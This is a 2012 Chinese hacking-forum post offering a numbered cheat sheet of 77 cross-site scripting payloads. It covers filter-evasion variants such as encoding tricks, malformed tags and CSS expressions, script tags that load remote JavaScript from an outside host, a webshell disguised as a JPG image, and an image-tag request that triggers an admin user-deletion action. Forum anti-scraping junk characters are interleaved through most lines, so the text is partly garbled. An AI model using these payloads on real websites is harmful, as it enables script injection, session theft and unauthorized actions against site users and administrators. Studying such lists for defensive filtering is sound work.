找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2388|回复: 0
打印 上一主题 下一主题

xss详细利用大全1

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:04:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
跨站图片shell
' p6 k2 N7 O2 c7 r6 \XSS跨站代码  <script>alert("")</script>* a  A% o. k% Z0 R" i, \

- ^7 p2 e# @1 N3 E3 k3 k/ m: L将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
; S* H6 p; t! q. A5 N; E. D( D  W8 X% E. _; ~$ C& E# n

. Q, ?+ X) T' G& p/ q7 D4 r. `, [  \, O* f( k5 v
1)普通的XSS JavaScript注入: Z$ J  u# h  P9 @
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
0 j/ E4 u; c# K* l' j" q0 r7 q% z" v' o3 ^- ?( r% E9 `3 }% y* e
(2)IMG标签XSS使用JavaScript命令  w5 a$ X2 B# R' G. A+ F  W
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>7 u, B, L3 m7 `7 U0 G! z
3 E6 ]- M7 F0 A8 B, G
(3)IMG标签无分号无引号
& |" l) K$ K% ]<IMG SRC=javascript:alert(‘XSS’)>( d- g; J# f/ {" o. P3 s

4 j& s+ s  G) O5 s$ v# I) F* g(4)IMG标签大小写不敏感5 S5 l+ a- q# b0 k; m
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
0 B! i! c0 v0 E! |% N- w, w- R2 m' w$ ~' j& \  v# L5 F8 @
(5)HTML编码(必须有分号)
9 U0 H; x- Z* J& J<IMG SRC=javascript:alert(“XSS”)>
5 a4 B2 o0 v) O# q4 @( O
* ?8 G- u$ V( b* F$ G( Q) u. |! Z(6)修正缺陷IMG标签+ C3 E( k1 B8 h) _0 O
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
  P  f+ i; z: c2 P, T, y7 G/ c
' T0 s% X, H1 Z3 h) I(7)formCharCode标签(计算器)
2 T+ u9 d% E3 x* [5 o* T& o) G<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
& k" r( ?" ?& s2 t$ y
) S2 B( r9 a; y(8)UTF-8的Unicode编码(计算器)
0 R5 P+ s# k. S0 Z0 s% X<IMG SRC=jav..省略..S')>
# D, u3 H5 z7 i9 @
4 }9 m/ e# L8 z" u% n- u(9)7位的UTF-8的Unicode编码是没有分号的(计算器)$ P, P: _+ @! G
<IMG SRC=jav..省略..S')>
2 h# D9 c) `. F: }: x3 B0 j3 e* v7 O4 o5 W% i
(10)十六进制编码也是没有分号(计算器)
# E7 M7 G7 I; q# n1 O. K" \<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
% a! k; P6 }9 j
/ f( E* b5 j* Z& R(11)嵌入式标签,将Javascript分开( m2 V0 {5 O) F# `+ Z1 P& b
<IMG SRC=”jav ascript:alert(‘XSS’);”>
1 n5 s! U2 q. N* |" j& k
& U4 ]& X- B) k, }: o" X5 K(12)嵌入式编码标签,将Javascript分开
2 `* W0 d1 |! ?. Y* q* m& p<IMG SRC=”jav ascript:alert(‘XSS’);”>' Q4 A: I5 H3 l3 H
! {/ m6 w$ M2 D4 h2 k' Z
(13)嵌入式换行符
$ ]$ c" o! t" O: ~; b<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ n. o% N! Y8 ]% T) m( b2 D
& F8 t; L* Z( h  Q3 [% @(14)嵌入式回车8 V& G+ ]5 T9 B* }2 O
<IMG SRC=”jav ascript:alert(‘XSS’);”>! W/ }2 i/ t# o) d

8 _$ v$ q5 _0 c(15)嵌入式多行注入JavaScript,这是XSS极端的例子- s( `8 u3 ~; k, p3 p$ Y5 D$ q5 g0 Q+ G
<IMG SRC=”javascript:alert(‘XSS‘)”>
3 {" Q. j& Q. f' o# j6 q/ ^4 O3 X4 u1 R
(16)解决限制字符(要求同页面)
2 V9 w6 n7 e! c) f* I5 v4 Q; e- H3 h<script>z=’document.’</script>% S) ?6 ~4 I; ~  k/ i* e
<script>z=z+’write(“‘</script>; X0 H- F( B- I# l
<script>z=z+’<script’</script>
. l6 r) _6 J8 c) l1 _3 {<script>z=z+’ src=ht’</script>5 c. |/ W2 q2 _: R* A: Q! R6 Q
<script>z=z+’tp://ww’</script>
+ U2 r( y; w0 c7 u. s8 s: ?  w4 D+ {<script>z=z+’w.shell’</script>! M8 a4 L3 X6 u3 J
<script>z=z+’.net/1.’</script>
: o& h- P' v9 w; o% Z<script>z=z+’js></sc’</script>
# ?" O/ j: Z0 e3 e<script>z=z+’ript>”)’</script>
9 n% S4 J) o. G<script>eval_r(z)</script>
- u7 r+ o4 C) |- e! e/ N1 E. ]$ f/ c  f; X8 g
(17)空字符0 J. a7 E& B$ h6 n/ \) Y
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
* L+ \0 s  x) |6 f+ O# R  G# E+ {8 e9 O- N
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用. g" ?/ C  G& M, G6 Z, p: {
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out2 I; z6 W# J- J! A

- T" R1 u1 y8 P. }(19)Spaces和meta前的IMG标签
3 X4 N+ R4 Y# ?# e<IMG SRC=” javascript:alert(‘XSS’);”>  d/ D0 n9 c& T' s% i

. T, y. g) O5 G. {" g(20)Non-alpha-non-digit XSS
# Z9 y% p2 _: _<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>+ c1 h4 ~' U' H4 G
4 v! ^* Z* O) m" w# E3 g
(21)Non-alpha-non-digit XSS to 28 `* }: m/ ~0 O; |
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
% Y* H3 v% @! k9 ?0 m" P4 w7 c* W# d1 u+ h' g) J. ~
(22)Non-alpha-non-digit XSS to 3
; X3 {# M2 A7 f, Q3 y<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>: p# z4 I% s% t$ j+ q- P9 x8 Z' ~6 K

" S, i, q9 B' U(23)双开括号; G0 h. U- T( O0 B% D! o
<<SCRIPT>alert(“XSS”);//<</SCRIPT>* m. g. p3 f' k
  j0 h) e3 b' }8 f
(24)无结束脚本标记(仅火狐等浏览器)5 s3 M3 p8 s9 y
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>6 s' `7 v0 Y: Q8 M" w# `- ^
+ B6 @+ k, E; {* M) _
(25)无结束脚本标记2. S' T( t" N7 a  Y0 S! T9 K
<SCRIPT SRC=//3w.org/XSS/xss.js>
8 D3 A' S7 C- M
  H$ P. W; p+ d(26)半开的HTML/JavaScript XSS$ h0 U* q, \  s# m
<IMG SRC=”javascript:alert(‘XSS’)”
- ]: _- B4 x6 q4 H) i, P/ K: Q
& E1 ?0 G" l" G(27)双开角括号% z9 V2 ?8 S$ ^8 d3 @( {
<iframe src=http://3w.org/XSS.html <
7 s- H# o1 ?# e/ t7 o* E
* G5 U/ K) D+ ](28)无单引号 双引号 分号
6 _  w( ]( S9 p" r% Q9 C<SCRIPT>a=/XSS/! y" o& ^6 o2 l7 G- f
alert(a.source)</SCRIPT>; F) Z* ^# G" N3 k( N4 |

% h2 d+ R3 x- ]3 c8 L& h2 L5 X# n(29)换码过滤的JavaScript/ q  n. G  {+ I1 H
\”;alert(‘XSS’);//
+ [) {9 J: M. F$ k2 t& ]! R! Q
( r+ S4 t8 \# n) X4 O- C$ E- F- f(30)结束Title标签! z" X8 a; d$ M$ d' v( i
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
  v2 K- k& Z- a" v0 B3 Q
) b% z8 z5 E* P$ E% s) I; Q5 w(31)Input Image7 ?+ z$ ]! t- o$ U6 H; L+ K) \: N4 a
<INPUT SRC=”javascript:alert(‘XSS’);”>0 Z* b8 H" T6 ?$ D( y2 x

4 Y3 T" ?: t4 i# O+ A(32)BODY Image" \* N2 _9 ^* T( W7 j+ z
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
7 ~2 ]# h  S+ |( Q3 s
+ e) U- m5 S; N, k! c1 B(33)BODY标签
9 L8 U$ L4 P- [& V% g8 ?<BODY(‘XSS’)>
3 [0 z! u  S+ m8 S; _( w
2 H7 i/ u* I. p, r9 q) _(34)IMG Dynsrc; |* u, {$ [" m  c. x! c3 c
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
( e4 B/ U; E7 m: g/ o6 a' ?0 x6 o/ |- g2 C' C/ Y4 Q1 X  r1 T- a
(35)IMG Lowsrc
6 u, [+ |. N$ A2 g0 }8 j- w<IMG LOWSRC=”javascript:alert(‘XSS’)”>; U' _3 J( L# e6 q9 v
. n$ _  t5 n' v% ?: o$ F6 t% y' v" z5 g
(36)BGSOUND
1 [2 u8 L: `. ?<BGSOUND SRC=”javascript:alert(‘XSS’);”>
3 Y+ U, t" t6 A) q  S' f; Q. ~# O$ t7 Z. M
(37)STYLE sheet
2 }4 O7 S: J) W  K1 S0 Q<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
- J9 c: V% r1 R5 s8 b+ x: J; W1 z- {9 M; s) d" n
(38)远程样式表; @) ?# q$ Z( R2 [! f
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>* c1 M) K/ {. @

( t. m/ k( P' q$ {/ `(39)List-style-image(列表式)
% o' Y" }5 Z: \& a7 s$ T4 C# h<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
/ X3 [1 j; m& ^8 `% @1 r) b8 U+ G8 d3 [- |2 f/ z! ~/ b. X) s# e
(40)IMG VBscript
9 H2 u+ T  s- u* a, g5 U' p<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
# T, g$ r( ?- L$ {( t9 h( U" s* V
(41)META链接url* [; [0 ^$ [" x
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>6 ]8 k* p9 `6 }& R8 t% K

% g6 _$ P# B3 p9 m, y(42)Iframe
9 c# U; f3 k+ O: h5 z4 P) {<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>- b0 c% N$ ~3 i+ e
(43)Frame
9 ~9 @" e4 T) P0 z% [2 @<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
2 l9 R( @8 `7 Y5 D, v' `2 H0 q9 [( h& n: ^
(44)Table# e  K( L4 I/ a" P% Q! {
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
8 c9 `' @( o( L; L" E5 g; D
$ o8 ^; N2 \* q, h(45)TD# g0 _! ^( R/ |  i7 X' ?# b
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
/ Z  Y( V$ u+ U7 Y2 M  G" r& g5 P5 @9 T5 s7 P9 ]9 F9 M
(46)DIV background-image- n  R& y- {0 H0 _
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>% \& I8 r! B6 b# ?/ Y
. p/ I4 H8 f( L9 x8 k( i
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)5 q9 a* c8 p2 d; w( |
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
! H: `4 O8 P7 A: l6 y9 r3 j, W
0 c5 W- c8 K( g/ P" e(48)DIV expression
2 k5 z$ g& X1 I# U3 N  r" E<DIV STYLE=”width: expression_r(alert(‘XSS’));”>1 V$ d; e6 D2 Q& I$ W
7 ]2 W( h7 M2 e% F5 W. J2 Z
(49)STYLE属性分拆表达
9 ]' W* [8 g* i; |# o8 V<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
/ X2 M1 p, Y% n% g# @$ `! l# C5 B3 R2 U, E9 }% y( u1 j
(50)匿名STYLE(组成:开角号和一个字母开头)
7 k: t: n; \% Y: A! c4 O<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>( @- x2 q* {( E6 Q! b

, y" Y/ V! R: `7 J& c  F8 v(51)STYLE background-image6 Z1 y( J0 t  c5 s* |' @$ k, Y1 a
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
2 `7 [/ k" Y, `8 ?5 {" H% L0 x; g- v9 h6 F% ^
(52)IMG STYLE方式
, X2 P6 y: [# i) a' ~: t$ {exppression(alert(“XSS”))’>
, ]8 n3 p, X! |
$ C. ]4 S5 }* G) U8 W(53)STYLE background# c8 w8 x0 q% ?2 ?4 V
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
% G, o# N/ Z, k( I2 v7 C; F7 l/ M0 T0 L
(54)BASE
, P4 `$ F6 f, i1 p: m<BASE HREF=”javascript:alert(‘XSS’);//”>
- z" w4 C; {1 @& ?0 @  L0 b! A
9 M5 x5 `/ J  a(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
6 V& d3 \, l! ]) b<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>+ a  Y: m( j' A2 q. B

/ f  J0 A& J* Q2 p7 m(56)在flash中使用ActionScrpt可以混进你XSS的代码# R: Q* o3 @2 g3 ~
a=”get”;0 V2 I5 e0 F, N4 F  @
b=”URL(\”";
& H' K3 l0 ^" V9 Y6 a+ d* b) ~" mc=”javascript:”;
+ s+ S& r8 d' T- [d=”alert(‘XSS’);\”)”;
- v6 t$ a9 K5 z0 X; W  j5 x6 v  ~eval_r(a+b+c+d);" |5 Y7 S8 C5 v; d/ v
- {' F  [) Y0 o4 P( @9 M* w9 Q' C9 F
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
# B. A, A4 k' N, h' S<HTML xmlns:xss>8 [. r/ M$ y! j8 \1 j
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
: g& c# l& t" Q7 d2 I' H9 m<xss:xss>XSS</xss:xss>
% ?$ z" G: Y( J- [5 m+ z</HTML>
) v- P5 r/ ?, m  W% `  {
* }, d  v+ \/ N: s! m: ?(58)如果过滤了你的JS你可以在图片里添加JS代码来利用& o' g' }9 w& v; }6 w* k
<SCRIPT SRC=””></SCRIPT>
9 g0 C6 S  Q: T
/ F: o' L  N; |9 u$ A( r4 K3 y2 t(59)IMG嵌入式命令,可执行任意命令
* ?/ S! L( }: }& |/ ]2 {" H<IMG SRC=”http://www.XXX.com/a.php?a=b”>2 t0 I+ p; \6 J6 D
3 M7 z7 R% F; [$ n, w
(60)IMG嵌入式命令(a.jpg在同服务器)
7 H2 f3 b7 M1 h4 |) CRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser& R( S8 o6 {/ V( ^

: X) L/ B' u+ l9 H' G: A(61)绕符号过滤
1 T6 m' A3 x& y/ ]; x1 `; _* j<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
+ z' W7 t% ~2 ^
# B# [7 ]7 d2 l- Y3 p% G(62)* u% B% S0 W# D) ~
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
1 v) f% {2 S; l6 [) p  u  F* L6 G$ y! p- j7 e
(63)
% s& M: p/ f6 a* |1 t6 [% X<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>6 p$ e8 f% m% H: F2 g7 a

  i9 u- ], B7 ~) D/ W2 }(64)( h3 b3 ], `) M7 |) w
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
1 M6 |9 p4 U# W5 a. c
5 Q4 `( |1 l' Y3 V* o3 s5 o(65)- L+ T0 B, b* [. F. _# ~. R
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>1 p! i: E2 R9 \7 ]8 M

. U5 s' R5 F5 g$ `( P2 Y  w9 I& P(66)
* n/ V. {9 r9 r, D: i/ a<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
3 C) w* }9 H1 f) J# }5 P& u0 m* T) B8 }
(67)+ m5 }# I1 h# A' T
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
7 [3 D) [& \4 W2 T8 X9 F/ X
/ h; n0 \2 h5 l. b; c' i(68)URL绕行
) C, V  ?+ j% ?8 K5 m, v/ Z<A HREF=”http://127.0.0.1/”>XSS</A>+ L9 l4 S: q& P& Z; q

; {* V* f% G7 [# ](69)URL编码# |3 D' R2 m* b% j  H+ o
<A HREF=”http://3w.org”>XSS</A>/ [- w( w5 W- ]4 M

/ @9 ^" @% ~0 U(70)IP十进制  P6 Q. L; U9 [' z/ `' c
<A HREF=”http://3232235521″>XSS</A>
) \# g+ _) {; n7 n4 o
' C# p8 C  d" ?(71)IP十六进制
; [/ v/ ~& s2 u% R, z1 m; l. C) X<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
2 _% p" h: c1 Q' o9 _
' _  Z! a0 L' F: n(72)IP八进制2 P1 \- J  `& B; ^
<A HREF=”http://0300.0250.0000.0001″>XSS</A>0 e- t5 U$ \, h6 S" V9 _% d
- U3 a# V/ E/ g7 q. `
(73)混合编码
+ Y% G! s/ L' d) s  R$ x<A HREF=”h
7 A5 F4 A  u" f7 B% l; ctt p://6 6.000146.0×7.147/”">XSS</A>7 h. {6 o9 g9 ~9 V# K2 n: r1 ?

7 e2 \2 D' d# a# h1 X(74)节省[http:]
6 t  |# e0 a# e  M: D<A HREF=”//www.google.com/”>XSS</A>
. p, H' R/ X1 H9 J8 D  }& j; F1 A& H$ ]8 \
(75)节省[www]
( {* d3 o8 E0 t. @<A HREF=”http://google.com/”>XSS</A># G4 |$ e# ~+ }# D$ S

; f9 z1 c- o) b. o(76)绝对点绝对DNS
; ^$ G; x1 o6 H<A HREF=”http://www.google.com./”>XSS</A>% B- j& Y% p. v) U  {5 {" e( B

+ F, c+ h1 |/ Q* U7 o(77)javascript链接+ `1 B5 y  z4 U1 m9 D5 _. @
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
7 g7 C  K# c, f4 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表